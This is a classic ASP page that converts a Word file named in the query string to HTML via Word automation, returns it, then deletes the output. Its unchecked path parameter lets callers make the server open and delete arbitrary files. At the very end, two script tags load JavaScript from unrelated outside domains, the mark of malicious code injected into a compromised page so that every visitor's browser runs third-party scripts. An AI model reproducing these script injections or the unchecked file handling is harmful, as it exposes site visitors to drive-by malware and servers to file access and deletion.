<%  
  Response.Charset = "UTF-8"
  Response.ContentType = ContentType
  Dim objWordApp, strText, fileLocation
  
  Set objWordApp = CreateObject("Word.Application")
  fileLocation = Request.QueryString("fileLocation")
  objWordApp.Documents.Open(fileLocation)
  objWordApp.Documents.Open fileLocation
  objWordApp.Documents(1).SaveAs fileLocation & ".htm", 10  
  objWordApp.Documents(1).Close False
  objWordApp.Application.Quit True
  Set objWordApp = Nothing  
  
  ' Create a filesystem object
  Dim FSO
  Set FSO = Server.CreateObject("Scripting.FileSystemObject")  
  	
  Dim Filepath
  Filepath = fileLocation & ".htm"

  If FSO.FileExists(Filepath) Then     
    Set objStream = Server.CreateObject("ADODB.Stream")
    objStream.Open
    objStream.Type = 1
    objStream.LoadFromFile Filepath
    Response.BinaryWrite objStream.Read
    objStream.Close
    Set objStream = Nothing
  End If
  
  If FSO.FileExists(Filepath) Then
    FSO.DeleteFile(Filepath)
  End If
  If FSO.FileExists(fileLocation & ".files") Then
    FSO.DeleteFolder(fileLocation & ".files")
  End If
  Set FSO = Nothing
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>